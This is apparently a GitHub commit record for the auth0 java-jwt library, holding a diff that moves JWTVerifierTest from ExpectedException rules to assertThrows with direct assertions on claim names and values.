site_adminujK  }(jf  	poovamrajjh  J j?  MDQ6VXNlcjE1OTEwNDI1jj  4https://avatars.githubusercontent.com/u/15910425?v=4jl  h3jU  &https://api.github.com/users/poovamrajja  https://github.com/poovamrajjo  0https://api.github.com/users/poovamraj/followersjq  =https://api.github.com/users/poovamraj/following{/other_user}js  6https://api.github.com/users/poovamraj/gists{/gist_id}ju  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jw  4https://api.github.com/users/poovamraj/subscriptionsjy  +https://api.github.com/users/poovamraj/orgsj{  ,https://api.github.com/users/poovamraj/reposj}  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j=  (67df3d476024cbe697b3a54893f5383945c7670djU  \https://api.github.com/repos/auth0/java-jwt/commits/67df3d476024cbe697b3a54893f5383945c7670dja  Qhttps://github.com/auth0/java-jwt/commit/67df3d476024cbe697b3a54893f5383945c7670duastats}(totalM	additionsM	deletionsMufiles](}(j=  (9dcb2cb1806b6dc640ab859d28765961bcd0f260filename4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javastatusmodifiedj  Mj  MchangesM&blob_urlhttps://github.com/auth0/java-jwt/blob/f70c51a86b8dbe6519c5463ad74161d6c1ee8a8b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/f70c51a86b8dbe6519c5463ad74161d6c1ee8a8b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=f70c51a86b8dbe6519c5463ad74161d6c1ee8a8bpatchXl  @@ -19,9 +19,9 @@
 import java.util.Date;
 import java.util.function.BiPredicate;
 
-import static com.auth0.jwt.matchers.CustomMatchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
+import static org.junit.Assert.assertThrows;
 import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
@@ -35,17 +35,18 @@ public class JWTVerifierTest {
 
     @Test
     public void shouldThrowWhenInitializedWithoutAlgorithm() {
-        exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("The Algorithm cannot be null");
-        JWTVerifier.init(null);
+        IllegalArgumentException e = assertThrows(null, IllegalArgumentException.class, () ->
+                JWTVerifier.init(null));
+        assertThat(e.getMessage(), is("The Algorithm cannot be null."));
     }
 
     @Test
     public void shouldThrowWhenAlgorithmDoesntMatchTheTokensAlgorithm() {
-        exception.expect(AlgorithmMismatchException.class);
-        exception.expectMessage("The provided Algorithm doesn't match the one defined in the JWT's Header.");
-        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC512("secret")).build();
-        verifier.verify("eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCJ9.s69x7Mmu4JqwmdxiK6sesALO7tcedbFsKEEITUxw9ho");
+        AlgorithmMismatchException e = assertThrows(null, AlgorithmMismatchException.class, () -> {
+            JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC512("secret")).build();
+            verifier.verify("eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCJ9.s69x7Mmu4JqwmdxiK6sesALO7tcedbFsKEEITUxw9ho");
+        });
+        assertThat(e.getMessage(), is("The provided Algorithm doesn't match the one defined in the JWT's Header."));
     }
 
     @Test
@@ -73,45 +74,45 @@ public void shouldValidateMultipleIssuers() {
 
     @Test
     public void shouldThrowOnInvalidIssuer() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
-        exception.expect(hasClaimName(PublicClaims.ISSUER));
-        exception.expect(hasClaimValue("auth0", String.class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withIssuer("invalid")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer("invalid")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
+        assertThat(e.getClaimName(), is(PublicClaims.ISSUER));
+        assertThat(e.getClaimValue().asString(), is("auth0"));
     }
 
     @Test
     public void shouldThrowOnNullIssuer() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
-        exception.expect(hasClaimName(PublicClaims.ISSUER));
-        exception.expect(hasNullClaim());
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOm51bGx9.OoiCLipSfflWxkFX2rytvtwEiJ8eAL0opkdXY_ap0qA";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withIssuer("auth0")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOm51bGx9.OoiCLipSfflWxkFX2rytvtwEiJ8eAL0opkdXY_ap0qA";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer("auth0")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
+        assertThat(e.getClaimName(), is(PublicClaims.ISSUER));
+        assertThat(e.getClaimValue().isNull(), is(true));
     }
 
     @Test
     public void shouldThrowOnMissingIssuer() {
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'iss' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("iss"));
-
-        String jwt = JWTCreator.init()
-                .sign(Algorithm.HMAC256("secret"));
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .sign(Algorithm.HMAC256("secret"));
 
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withIssuer("nope")
-                .build()
-                .verify(jwt);
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer("nope")
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'iss' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("iss"));
     }
 
     @Test
@@ -127,16 +128,16 @@ public void shouldValidateSubject() {
 
     @Test
     public void shouldThrowOnInvalidSubject() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'sub' value doesn't match the required one.");
-        exception.expect(hasClaimName(PublicClaims.SUBJECT));
-        exception.expect(hasClaimValue("1234567890", String.class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withSubject("invalid")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withSubject("invalid")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'sub' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is(PublicClaims.SUBJECT));
+        assertThat(e.getClaimValue().asString(), is("1234567890"));
     }
 
     @Test
@@ -230,76 +231,75 @@ public void shouldAcceptAudienceWhenAnyOfAudienceAndAllContained() {
 
     @Test
     public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
-        exception.expect(hasClaimValueArray(new String[] {"Mark","David","John"}, String[].class));
-
-        // Token 'aud' = ["Mark", "David", "John"]
-        String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAnyOfAudience("Joe", "Jim")
-                .build()
-                .verify(tokenArr);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud' = ["Mark", "David", "John"]
+            String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAnyOfAudience("Joe", "Jim")
+                    .build()
+                    .verify(tokenArr);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
     }
 
     @Test
     public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
-        exception.expect(hasClaimValueArray(new String[] {"Mark","David","John"}, String[].class));
-
-        // Token 'aud' = ["Mark", "David", "John"]
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAudience("Mark", "Joe")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud' = ["Mark", "David", "John"]
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAudience("Mark", "Joe")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
     }
 
     @Test
     public void shouldThrowWhenAudienceClaimIsNull() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
-        exception.expect(hasNullClaim());
-
-        // Token 'aud': null
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAudience("nope")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud': null
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAudience("nope")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimValue().isNull(), is(true));
     }
 
     @Test
     public void shouldThrowWhenAudienceClaimIsMissing(){
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'aud' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("aud"));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
-
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAudience("nope")
-                .build()
-                .verify(token);
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAudience("nope")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("aud"));
     }
 
     @Test
     public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
-        exception.expect(hasClaimValueArray(new String[] {null}, String[].class));
-
-        // Token 'aud': [null]
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpbbnVsbF19.2cBf7FbkX52h8Vmjnl1DY1PYe_J_YP0KsyeoeYmuca8";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAnyOfAudience("nope")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud': [null]
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpbbnVsbF19.2cBf7FbkX52h8Vmjnl1DY1PYe_J_YP0KsyeoeYmuca8";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAnyOfAudience("nope")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {null}));
     }
 
     @Test
@@ -384,113 +384,113 @@ public void shouldThrowOnNullCustomClaimName() {
 
     @Test
     public void shouldThrowWhenExpectedArrayClaimIsMissing() {
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("missing"));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcnJheSI6WzEsMiwzXX0.wKNFBcMdwIpdF9rXRxvexrzSM6umgSFqRO1WZj992YM";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withArrayClaim("missing", 1, 2, 3)
-                .build()
-                .verify(token);
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcnJheSI6WzEsMiwzXX0.wKNFBcMdwIpdF9rXRxvexrzSM6umgSFqRO1WZj992YM";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("missing", 1, 2, 3)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'missing' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("missing"));
     }
 
     @Test
     public void shouldThrowWhenExpectedClaimIsMissing() {
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("missing"));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGFpbSI6InRleHQifQ.aZ27Ze35VvTqxpaSIK5ZcnYHr4SrvANlUbDR8fw9qsQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("missing", "text")
-                .build()
-                .verify(token);
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGFpbSI6InRleHQifQ.aZ27Ze35VvTqxpaSIK5ZcnYHr4SrvANlUbDR8fw9qsQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("missing", "text")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'missing' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("missing"));
     }
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeString() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", "value")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", "value")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", 123)
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", 123)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", 23.45)
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", 23.45)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", true)
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", true)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", new Date())
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", new Date())
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValue() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", "check")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", "check")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
@@ -734,15 +734,15 @@ public void shouldValidateExpiresAtIfPresent() {
 
     @Test
     public void shouldThrowOnInvalidExpiresAtIfPresent() {
-        exception.expect(TokenExpiredException.class);
-        exception.expectMessage(startsWith("The Token has expired on"));
-        exception.expect(hasTokenExpiredOn(Instant.ofEpochSecond(1477592L)));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        verification
-                .build(mockOneSecondLater)
-                .verify(token);
+        TokenExpiredException e = assertThrows(null, TokenExpiredException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockOneSecondLater)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token has expired on 1970-01-18T02:26:32Z."));
+        assertThat(e.getExpiredOn(), is(Instant.ofEpochSecond(1477592L)));
     }
 
     @Test
@@ -769,16 +769,16 @@ public void shouldValidateNotBeforeWithLeeway() {
 
     @Test
     public void shouldThrowOnInvalidNotBeforeIfPresent() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
-        exception.expect(hasClaimName(PublicClaims.NOT_BEFORE));
-        exception.expect(hasClaimValue(1477592L, Long.class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        verification
-                .build(mockOneSecondEarlier)
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockOneSecondEarlier)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
+        assertThat(e.getClaimName(), is(PublicClaims.NOT_BEFORE));
+        assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
     @Test
@@ -804,16 +804,16 @@ public void shouldThrowOnNegativeNotBeforeLeeway() {
     // Issued At with future date
     @Test
     public void shouldThrowOnFutureIssuedAt() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
-        exception.expect(hasClaimName(PublicClaims.ISSUED_AT));
-        exception.expect(hasClaimValue(1477592L, Long.class));
-
-        String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
 
-        DecodedJWT jwt = verification.build(mockOneSecondEarlier).verify(token);
-        assertThat(jwt, is(notNullValue()));
+            DecodedJWT jwt = verification.build(mockOneSecondEarlier).verify(token);
+            assertThat(jwt, is(notNullValue()));
+        });
+        assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
+        assertThat(e.getClaimName(), is(PublicClaims.ISSUED_AT));
+        assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
     // Issued At with future date and ignore flag
